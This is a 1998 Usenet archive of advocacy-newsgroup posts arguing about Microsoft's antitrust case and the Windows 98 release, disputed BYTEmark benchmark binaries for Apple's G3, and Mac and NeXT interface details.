is from MacOS Rumors (www.macosrumors.com):
> Heed this ominous warning regarding the onrushing fate of humankind,
> given by Havard economics professor, Dr. N. Gregory Mankiw on the
> CNet News site Tuesday afternoon.
> <http://www.news.com/News/Item/0,4,21804,00.html> Dr. N. Gregory
> Mankiw, a professor of economics at Harvard, echoed that forecast, saying
> postponing the release of Windows 98 'would throw sand into the
> gears of human progress.' "
Oooh. A delay in Win98 is going to throw sand in the gears of human
progress. I wonder how much _that_ quote cost Microsoft.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 06 May 1998 14:18:41 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <joe.ragosta-0605981418410001@wil99.dol.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6iq882$aj6$1@nerd.apk.net>
In article <6iq882$aj6$1@nerd.apk.net>, joe@apk.net (Joseph T. Adams) wrote:
> Joe Ragosta (joe.ragosta@dol.net) wrote:
> :
> : The executive branch is supposed to _enforce_ the laws without worrying
> : about whether they're good laws or not.
>
>
> You make many good points but I'd have to respectfully disagree with
> this one, at least in the case of a law which is blatantly
> unconstitutional on its face.
>
> The President, like all federal officials, is sworn to uphold the
> Constitution. He must apply Constitutionally valid laws even if he
> disagrees with those laws, or else resign, and he must do so fairly
> and even-handedly as you've pointed out. BUT, not only is he not
> responsible for enforcing unconstitutional "laws," but he is forbidden
> by his oath of office and many well-tested federal laws from doing so,
> at least if he knows the "law" in question is unconstitutional.
>
> It is quite rare to have a President with the moral fortitude to
> actually carry out his oath of office, and quite common for
> unconstitutional "laws" to be enforced as if they were valid, and even
> upheld by the various courts. That doesn't make it right however.
>
> The case of a law of questionable constitutionality is a difficult
> case, and one possible response (which I believe actually did occur
> with respect to the CDA) would be to refuse to enforce it pending
> judicial review.
>
> There are constitutionally and morally valid ways to "punish"
> Microsoft, assuming that it is found guilty of committing crimes like
> fraud, theft, or extortion. New laws are not needed; the existing law
> simply needs to be applied. I hope it will be.
Absolutely. I don't disagree with anything you've said.
But since there's no obvious evidence that the antitrust laws are
unconstitutional, the Executive branch has the responsibility to enforce
the law.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: jason@jhste1.dyn.ml.org
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: cmsg cancel <slrn6l1g7q.4g6.jason@jhste1.dyn.ml.org>
Control: cancel <slrn6l1g7q.4g6.jason@jhste1.dyn.ml.org>
Date: 6 May 1998 19:57:16 GMT
Organization: MindSpring Enterprises
Message-ID: <6iqfas$863$1@camel29.mindspring.com>
ignore
Article canceled by slrn 0.9.4.6
From: roger@. (Roger )
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 20:00:53 GMT
Organization: gte.net
Message-ID: <6iqfhh$3pv$1@gte2.gte.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <stone-ya02408000R0505980240210001@news.enetis.net> <6inoup$ejt$1@gte2.gte.net> <rmcassid-0505981303570001@dante.eng.uci.edu>
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On Tue, 05 May 1998 13:03:57 -0700, someone claiming to beRobert
Cassidy wrote:
<snip of point that someone else has made re:consent decrees>
>>And I am still waiting for your response to:
>
>I'll respond, just for fun.
>
>>>Microsoft has a monopoly on the operating systems market. The supreme
>>>court of the United States of America has clearly defined that Operating
>>>Systems and Internet Browsers belong to two separate markets.
>>
>>Oh, really? During which session and in re: which appeal did the
>>Supreme Court make such a ruling?
>
>It's called a precedent. It's a handy little thing that allows us to not
>have to rule on every instance of a case, rather on a single class and
>then argue that it should be applied to any given instance.
>
>While the supreme court has not, AFAIK, ruled _clearly_ on the issue, they
>have ruled in a manner that suggests they would extend it to this case, if
>it even needed to go that far.
But the claim was that they had clearly and specifically ruled on OSes
and browsers, in an attempt to use the authority of the Supreme Court
to bolster his rather weak argument. What do you say, Kevin? Put up
or shut up time.
And no, since the SC have not ruled in a case that involved software
nor any other product which evolves in the way that software does,
there is no reason to believe that a ruling in this case will be based
on anything other than its own merits. It could very be, but the
claim was not that precedent suggests that they may rule one way or
the other, but that they already had.
>The precedent invovlved a case in the medical industry that suggested that
>two actions (operations IIRC) performed at one time and billed at one time
>was in fact one service. The Supreme Court ruled that if the marketplace
>considered each action itself to be a separate and distinct action,
>regardless of whether it has a cost associated with it, that it was not
>one service but rather two (or more).
>
>The extension to MS would be that if the _marketplace_ considers a browser
>to be a separate product from an OS, that even if MS doesn't charge for
>it, it is in fact a separate product. So that in this case MS would be
>bundling a separate product with it's OS and be in violation of the
>consent decree.
>
>The argument stems around whether the marketplace considers a browser to
>be a product in and of itself and whether this definition should be
>applied to software.
And if so, whether integrating technology previously available
separately into an OS constitutes bundling. And there is ample
precedence for doing just that -- the consent decree says absolutely
nothing about defragmenters, disk repair utilities, backup utilities,
memory managers, etc. being rolled into the base product being a Bad
Thing (t.m.)
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 6 May 1998 20:18:40 GMT
Message-ID: <6iqgj0$p4t$1@newsfep1.sprintmail.com>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981023060001@tnt3-132.hiwaay.net>
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Cc: djboccip@hiwaay.net
In <djboccip-0605981023060001@tnt3-132.hiwaay.net> Dr. Dennis J. Boccippio
wrote:
> In article <6iovd2$f0c$2@newsfep3.sprintmail.com>, macghod@concentric.net
wrote:
> > Like I said, these were the binaries that were up till a couple of weeks
ago.
> > For a couple of months, even macadvocates have states that Apple's
claims
> > are preety much fabrications, people with g3's were running the byte test
and
> > getting a score of 5 or 6 rather than 9. So oddly enough, the binaries
are
> > removed, and the binary apple used is now on the byte page. And the byte
faq
> > says the same binaries have been used for the last 2 years, yet the ppc
> > binaries were JUST changed, instead of codewarrior and something else (I
> > forget) its now motorola 3.0 developer release??
> >
> > And Apple did tweak the binaries themselves, they admitted so after the
first
> > g3 is twice as fast ad.
>
> Evidence for tweaking?
1) APple already admitted on their web page that the results of the twice as
fast tests were done by apple engineers in Apples lab. Since the binaries AT
THAT TIME on bytes web page gave results that were almost half as slow as
what apple got, I think this is a good inference. If it were intel and not
APple, I am sure you would conclude the same thing
> > At the bottom of the page it stated the p2 scores
> > were conducted by byte, and the g3 scores were taken by apple engineers
in
> > apples labs. After I saw complaints that no one could match apples
scores,
> > I checked the web page, and strangely enough the truth was gone :(
> > Now what would we say, if one day the p2 binary was replaced with a
binary
> > that instead of giving a p2 300 a score of 5, gave it a score of 9? ANd
we
> > saw that it was compiled with another compiler? I would think that intel
had
> > tweaked the binary for their favor, and made it invalid. And how valid
is
> > bytemarks if one compiler gives a score of 4.6, and another of 9.1, for
the
> > same computer? And what did apple do for Byte to make them remove the
> > binaries that gave a score of 4.6 on a g3 266 with a binary that suddenly
> > gets 9.1? Motorola 3.0 compiler isnt even available to the public. I
will
> > most definitely be sending some emails to byte, this is very very VERY
FISHY.
> >
> > If I had a g3, I would compile the byte source in codewarrior . And I
> > wonder how APple got byte to use the binary apple's engineers tweaked in
> > apples lab (remember Apple's web page originally stated the g3 tests were
> > done BY APple.
> >
>
> OK, here's some hard numbers, and some proper background. I've used
> CodeWarrior Pro R3, MrC 3.0 (the compiler Apple supposedly "tweaked",
> which was released in 3/97, months before G3 hit the market), and
> the Byte binaries from about a month ago, which were _still_ mcc, don't
> know what rev. Look at the numbers below - there's no way the old
> Byte binaries were CodeWarrior. Maybe the source code package was
> a CW project, but not the binaries.
Eric Bennet was given a binary that apple used, and I believe he said it used
moto 3.0, not
mrc.
Also, the new binary that is on bytes web page that replaced the old ones,
that gave a score of about 5 or 6 for a g3 266, says its moto 3.0 developer
release. A compiler that is not available to the public, and will never be
because motorola stopped all work on it.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
NeXTMail and MIME OK!
..
..
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 20:33:24 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6l1i8k.rjr.sal@panix3.panix.com>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com> <35508936.514A@CONVEX.COM> <35509256.0@news.depaul.edu> <3550BE9A.35ED@CONVEX.COM>
On Wed, 06 May 1998 14:48:42 -0500, Michael Peck <MJPECK@CONVEX.COM> wrote:
>I don't understand. Who's tying the hands of USB port vendors, for
>crying out loud?
Microsoft. Go down to any store that sells PC hardware/software. How
many hardware/software items *Don't* have the four-color Windows banner
on them? In order to put that logo on the box, they have to play by MS's
rules. MS will not allow USB products to ship with the MS logo until they
ship Win98. This was even covered in Byte a couple of months back.
And if they don't play by the rules, they'll never get any shelf space.
BTW, I guy I know works for a company that makes barcode scanners. They
have had a USB product ready for over six months. They have 2500+ units
sitting in a warehouse collecting dust while MS & The DOJ do the whole
sabre rattling shtick.
>I'll tell you what: supporting a non-Microsoft solution
>would be a nightmare.
Supporting MS solutions can be a nightmare as well...
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 20:36:26 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6iqhka$7ph@newsb.netnews.att.com>
References: <6io74v$cuc$1@crib.bevc.blacksburg.va.us> <B175052E-165DC1@206.165.43.143> <slrn6l1bvd.ftg.mbkennel@lyapunov.ucsd.edu> <3550B486.607B@convex.com>
Originator: gupta@tlctest
Michael Peck <MJPECK@CONVEX.COM> wrote:
>SysReq and Scroll Lock are anachronisms, just like the internal PC
>speaker that requires desktop-centric volume control. 99% of all modern
>PC systems have a dedicated sound card with external output to speakers,
>99% of which have volume knobs.
What about the built-in speaker, like in my Compaq Deskpro 2000,
which is a mini-tower, and which is under my desk, and which has its
volume knob on the sound card which is on the **back** of the
mini-tower ?
Fortunately, Windows 95 (or at least the ESS card driver ) provides
volume control on the taskbar.
-arun gupta
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 6 May 1998 20:43:44 GMT
Organization: I don't think so
Message-ID: <slrn6l1j2r.4sk.jason@jhste1.dyn.ml.org>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981313420001@qburst.msfc.nasa.gov> <6iqh48$p4t$2@newsfep1.sprintmail.com>
macghod@concentric.net wrote:
>Also the byte faq says they have used same compilers that were used two years
>ago, DESPITE manufacturers attempts to change. Has moto 3.0 dr been out for
>2 years?
See BYTE, November 1996, p. 44 for BYTE's first set of BYTEmarks run
with the DR 3.0 Moto compiler.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 20:56:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6l1jj7.rjr.sal@panix3.panix.com>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <geordie-0505981708370001@130.130.117.53> <usomn71tm.fsf@ai.mit.edu>
On 06 May 1998 13:21:09 -0400, portnoy@ai.mit.edu <portnoy@ai.mit.edu> wrote:
>I believe that once you have a *good* mailreader which can filter out
>mailing lists into their own folders, it starts making a lot of sense
>to combine at least the mailing list portion into a newsreader,
>because of the similaries.
I would love to have threading for mailing lists. I use procmail
to filter the two dozen mailing lists that I am on into folders
and to kill off spam. It works fine, but I would like it to have
a much better UI. I would not expect end users to edit .procmailrc
files
>Of course, people are missing the main difference in the way that
>(IMHO) people work with the two different types. Most news messages
>are items which you want to read once and then ignore; most (well a
>higher percentage, at least) mail messages are items you want to keep
>around for reference. In effect, they have two different modes of
>operation -- for mail messages, you want to have to explicitly delete
>messages, for news you want to have to explicitly keep them.
Odd. I find that 70% of the mailinglist messgaes that I get are deleted
without me reading them. This makes sense to me. I rarely; if ever,
read more than 30% of the posts in any given newsgroup (with c.s.next.*
and *.annpunce being the only exceptions) With most of the groups
that I read, it is only 5% to 10%.
What I want is a tool that can "kiboze" the entire usenet and pick out
articles that I might enjoy, and monitor those threads. It should allow
me to post messages to the proper newsgroup. It should suggest other
terms that I might want to add to my lists and automaticly remove stuff
that I haven't looked up in a while.
I'd even be willing to pay $10 a month for that service. Who needs
newsgroups when you can have a meta-newsgroup filter to find stuff you
like and organize it in a easy to read hierarchical list?
<ObNeXT>
WebObjects would be perfect for this.
</ObNeXT>
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: don.brown@ceoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 6 May 1998 15:58:16 -0500
Organization: Prairie Group
Message-ID: <MPG.fba8addeedd38869898c9@news.supernews.com>
References: <6inrso$sfm$1@news.digifix.com> <B174E97A-11AF54@207.217.155.172> <6iolmn$7sm$1@news.digifix.com> <joe.ragosta-0605980738140001@wil124.dol.net> <6iptuk$4f3$3@ironhorse.plsys.co.uk>
In article <6iptuk$4f3$3@ironhorse.plsys.co.uk>, malcolm@plsys.co.uk
says...
> > Remember that CS only takes a tiny corner of the screen when you're not
> > using it. OR, if you don't like it at all, you can turn it off. That seems
> > like it should remove most complaints.
> >
> That seems fair -- how do you switch it off?
>
Apple menu/Control Panels/Control Strip. You can show it or hide it
there. You can also assign a hot key.
Donald
From: "Steve Shaw" <nospamola_sbshaws@kc-primary.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6ioone$clv$5@ligarius.ultra.net> <slrn6l0942.114.ghickenNOSPAM@ghicken.smart.net> <6ippm0$4lb$1@news0-alterdial.uu.net> <slrn6l0fc5.1ke.ghickenNOSPAM@ghicken.smart.net> <6iq2sd$b9r$1@news0-alterdial.uu.net> <joe.ragosta-0605981304450001@wil103.dol.net>
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 16:15:59 -0500
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charset="iso-8859-1"
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Message-ID: <3550d262.0@news.primary.net>
Organization: Primary Network. http://www.primary.net
>My vote for MS shill of the year award goes to Dr. Mankiw. The following
>
>> Heed this ominous warning regarding the onrushing fate of humankind,
>> given by Havard economics professor, Dr. N. Gregory Mankiw on the
>> CNet News site Tuesday afternoon.
>> <http://www.news.com/News/Item/0,4,21804,00.html> Dr. N. Gregory
>> Mankiw, a professor of economics at Harvard, echoed that forecast, saying
>> postponing the release of Windows 98 'would throw sand into the
>> gears of human progress.' "
>
>Oooh. A delay in Win98 is going to throw sand in the gears of human
>progress. I wonder how much _that_ quote cost Microsoft.
So... if Microsoft had played nicer, civilization might be more advanced...?
Hmm... I'm not sure how a "non-evolutionary, essentially maintenance
upgrade" of Windows 95 constitutes a milestone in human progress, but then I
don't have the benefit of a Havard education, or even a partial Harvard
education like Bill has. Still, one can see where Bill learned the Art of
Hype.
Steve Shaw
From: ink@inconnu.isu.edu (Craig Kelley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 15:15:41 -0600
Organization: Idaho State University
Message-ID: <6iqjtt$m7r$1@inconnu.isu.edu>
References: <6ipuoa$606$4@strato.ultra.net> <35509256.0@news.depaul.edu> <3550BE9A.35ED@CONVEX.COM> <slrn6l1i8k.rjr.sal@panix3.panix.com>
In article <slrn6l1i8k.rjr.sal@panix3.panix.com>,
Salvatore Denaro <sal@panix3.panix.com> wrote:
->rules. MS will not allow USB products to ship with the MS logo until they
->ship Win98. This was even covered in Byte a couple of months back.
I don't get it: I can send anyone who would like a screen shot of my
Windows95 machine; it has the USB driver listed in the devices screen.
Why do we need Windows98 again?
--
Wheel is turning, but the hamster is dead.
Craig Kelley -- kellcrai@isu.edu
http://www.isu.edu/~kellcrai finger ink@inconnu.isu.edu for PGP block
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Apple developer program
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <6iptqc$4f3$2@ironhorse.plsys.co.uk> <B17604A2-45B5C@206.165.43.51>
Message-ID: <3550d790.0@news.depaul.edu>
Date: 6 May 98 21:35:12 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> There's another factor that you seem to be missing, which is the fact that
> any time you stop typing and use your fingers to access controls on the
> keyboard, there is a measurable pause in your thinking process as you
> switch contexts. This pause is considerably shorter when you stop typing
> and reach for the mouse since you are not using the same movements to
> accomplish two different tasks.
It's much faster to use the keyboard - when you're not logged in. In
that case, there wouldn't be a control strip available.
--
"... and subpoenas for all." - Ken Starr
From: djboccip@hiwaay.net (Dennis J. Boccippio)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Wed, 06 May 1998 17:00:13 -0500
Organization: NASA/MSFC HR-20
Message-ID: <djboccip-0605981700130001@qburst.msfc.nasa.gov>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981023060001@tnt3-132.hiwaay.net> <6iqgj0$p4t$1@newsfep1.sprintmail.com> <joe.ragosta-0605981644420001@wil107.dol.net> <6iqljb$m1$1@newsfep1.sprintmail.com>
In article <6iqljb$m1$1@newsfep1.sprintmail.com>, macghod@concentric.net wrote:
> Lets say, hypothetically:
> byte has 2 binaries on its web page for a p2, each get about 6 for a p2 300.
> Intel, gets a score of 9 for the p2 300. ON their web page, they admit the
> test was done in their own lab by their own engineers. People start
> complaining how no one can get a score of 9 on a p2 300, everyone gets a 6.
> Soon afterward, the 2 p2 binaries are removed, and a binary is put in its
> place that scores a 9 on a p2 300. What do people think Joe would be
> saying????
>
> --
If he had any sense, he wouldn't care and would recompile the source
code himself, or find someone who had, rather than getting in a lather
over
it. [generic "he" there, no specific comment on Joe]
- The good Dr ;-)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 18:24:02 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6iqnu2$eqt$1@crib.bevc.blacksburg.va.us>
References: <6icrin$6ra@newsb.netnews.att.com> <354F65A5.42BB@CONVEX.COM> <6inuvv$chg$1@crib.bevc.blacksburg.va.us> <35506FF8.E8C2FE65@nstar.net>
In article <35506FF8.E8C2FE65@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Nathan Urban wrote:
> > > > I'm certainly not
> > > > going to switch to a bundle solution just for the sake of having a
> > > > bundle solution.
> > > A lot of people would disagree, with a twist: they currently believe
> > > that the bundle situation is *wrong*, and they want the government (or
> > > somebody) to force everyone to use separate apps.
> > That doesn't sound like a disagreement with what I said.
> Wow, that's a keeper.
Perhaps you're just inept at communicating.
I said: "I'm certainly not going to switch to a bundle solution just
for the sake of having a bundle solution."
Now, if someone disagreed with that statement, that would mean that they
_would_ be willing to switch to a bundle solution, purely for the sake
of having a bundle solution.
Someone who thinks that the bundle situation is wrong and wants everyone
to use separate apps, is not someone who would seem willing to switch
to a bundle solution purely for the sake of having a bundle solution.
From: perfecto@ct2.nai.net (Perry.Fecteau@Republican.COM)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 12:43:55 GMT
Organization: Milhouse America
Message-ID: <355d5b06.148323868@news.nai.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in44d$jt3@bgtnsc01.worldnet.att.net> <6iomt2$bac$1@ligarius.ultra.net> <jinx6568-0605980316060001@usr2a35.bratt.sover.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
the funny thing is that this asshole takes himself seriously.
microsoft isn't even a dow component. that may not have anything to
do with anything but microsoft is but a spec of dust on the nuts of
companies like GE, exxon, ibm, phillip morris, at&t, etc.. to think
that not releasing a program so insignificant in the scheme of things
will halt the economy is ridiculous and stupid. as far as i remember
this country's being run by oracle databases anyway.
--
Dead Republican
Check out Dead Republican's anti MicroSoft song <alt.netted.out> at:
http://w3.nai.net/~perfecto/deadrep.html
(I think I fixed the RealAudio problem)
From: merx@pc.chemie.tu-darmstadt.de (Hendrik Merx)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: Wed, 06 May 1998 15:05:19 +0200
Organization: Darmstadt University of Technology
Message-ID: <merx-0605981505190001@komtur.pc.chemie.tu-darmstadt.de>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com>
In article <6iovd2$f0c$2@newsfep3.sprintmail.com>, macghod@concentric.net wrote:
> If I had a g3, I would compile the byte source in codewarrior .
I'd rather use MrC. Reportedly faster executables and free.
Hendrik
Hendrik Merx
Darmstadt University of Technology
merx@pc.chemie.tu-darmstadt.de
http://www.pc.chemie.tu-darmstadt.de/authors/merx/
From: "Evan DiBiase" <hyprsoft@DELETEsgi.net>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
References: <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <3550A11D.7A@zvw._REMOVE_THIS_de> <Pine.LNX.3.91.980506161248.3560B-100000@mirkwood.dummy.home>
Subject: Re: Windoze Sux: DirectX vs NT50
Message-ID: <E0641.105$x16.1114603@news.sgi.net>
Date: Wed, 06 May 1998 23:05:08 GMT
NNTP-Posting-Date: Wed, 06 May 1998 19:05:08 EDT
>On a side note, will '98 be millenium-proof?
Yes, I believe it is.
-Evan
Rik van Riel wrote in message ...
>On Wed, 6 May 1998, Rolf Magnus wrote:
>> Pinochet wrote:
>> > Rolf Magnus wrote in message <354F4C4F.3C93@zvw._REMOVE_THIS_de>...
>> >
>> > >So Microsoft is forcing the users that want to play games to buy 95,
>> > >98 AND NT5.
>> >
>> > Nope. Sorry, you don't have to buy 95 if you can live without *some*
>> > games now,
>
>[snip]
>
>> > >they have to force the users to buy them.
>> >
>> > No, they don't....in fact such an act would be counterproductive if
>> > you asked me....
>>
>> We'll have to wait to see that, since Microsoft does it.
>
>They'll have to. Most people hate Microsoft (mainly because
>their products don't work as advertised) and don't want
>to hand over any more money to Mr. Gates.
>
>The only way to get users to upgrade to all new and exiting
>bugs is by forcing them. There's a reason that there are
>still so many Win 3.1(1) sites out there...
>
>On a side note, will '98 be millenium-proof?
>If it isn't it seems like enough evidence to
>support the MS-forces-customers argument...
>
>Rik.
>+-------------------------------------------+--------------------------+
>| Linux: - LinuxHQ MM-patches page | Scouting webmaster |
>| - kswapd ask-him & complain-to guy | Vries cubscout leader |
>| http://www.phys.uu.nl/~riel/ | <H.H.vanRiel@phys.uu.nl> |
>+-------------------------------------------+--------------------------+
>
From: ghickenNOSPAM@ghicken.smart.net (Gary J. Hicken)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 6 May 1998 13:20:28 GMT
Organization: Smartnet Internet Services [via news]
Message-ID: <slrn6l0942.114.ghickenNOSPAM@ghicken.smart.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net>
<6imcmk$oj1$3@ligarius.ultra.net>
<01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM>
<6ioone$clv$5@ligarius.ultra.net>
On Wed, 6 May 1998 00:19:16 -0400, John Saunders <jws@jws.ultranet.com> wrote:
>
>You can't (legally) buy OSR2 for an existing machine. If you have an
>existing machine and you want some of these features, then you need Windows
>98. I agree that if you buy a new machine you may have little use for
>Windows 98.
I wonder if the DOJ happens to read this stuff. This sure doesn't help M$.
--
Gary Hicken
Redhat 5.0 Linux kernel 2.0.31
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Byte deletes binaries and puts up apple tweaked binary???
Date: 6 May 1998 23:16:53 GMT
Organization: I don't think so
Message-ID: <slrn6l1s6a.5b7.jason@jhste1.dyn.ml.org>
References: <6iovd2$f0c$2@newsfep3.sprintmail.com> <djboccip-0605981023060001@tnt3-132.hiwaay.net> <6iqgj0$p4t$1@newsfep1.sprintmail.com> <joe.ragosta-0605981644420001@wil107.dol.net> <6iqljb$m1$1@newsfep1.sprintmail.com>
macghod@concentric.net wrote:
>It isnt Apple's compiler. Its motorolas compiler, and they have stopped
>working on it. And I have shown the following:
>Up till a couple of weeks ago (according to the good Dr, the change was
>probably april 6th 1998)
>their were two binaries on bytes web site, on gave the g3 266 a score of 5.5,
>the other gave it a score of 6.5 (see eric bennets web page to confirm the
>scores) , Apple, in their own lab, tweaked a score of 9.1 (APple admitted
>this on their web page, others have confirmed they saw this as well).
No. Eric got about 7.5 int with the Moto 2.0 version. The 6.5 (IIRC, it was
actually a bit higher than that, maybe 6.8) was from an egcs-1.0-compiled
binary that I emailed to Eric, which he ran under Mklinux. Eric got ~8.9
with another binary that some mysterious person mailed him that was supposed
to be the binary that Apple actually used for the Snail ad.
mcc is Moto's compiler, and the binaries currently on the BYTE site were
(probably) produced by it.
In summary:
Old BYTE binaries: CW (version 8?) and Moto 2.0
New BYTE binaries: appear to be Moto 3.0
Not at BYTE: Apple MrC-compiled binaries
Used for Snail ad: apparently Moto 3.0
Also on Eric's site: egcs-1.0/Mklinux for G3/266
Mysterious binary: probably Moto 3.0
Cited in BYTE articles: Moto 3.0
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: clee2@envirolink.org (Chris Lee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 6 May 1998 23:22:11 GMT
Organization: Your Organization
Message-ID: <6iqrb3$o5p$1@winter.news.erols.com>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com>
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In article <6ipvus$s9i@shelob.afs.com>, Greg_Anderson@afs.com says...
>
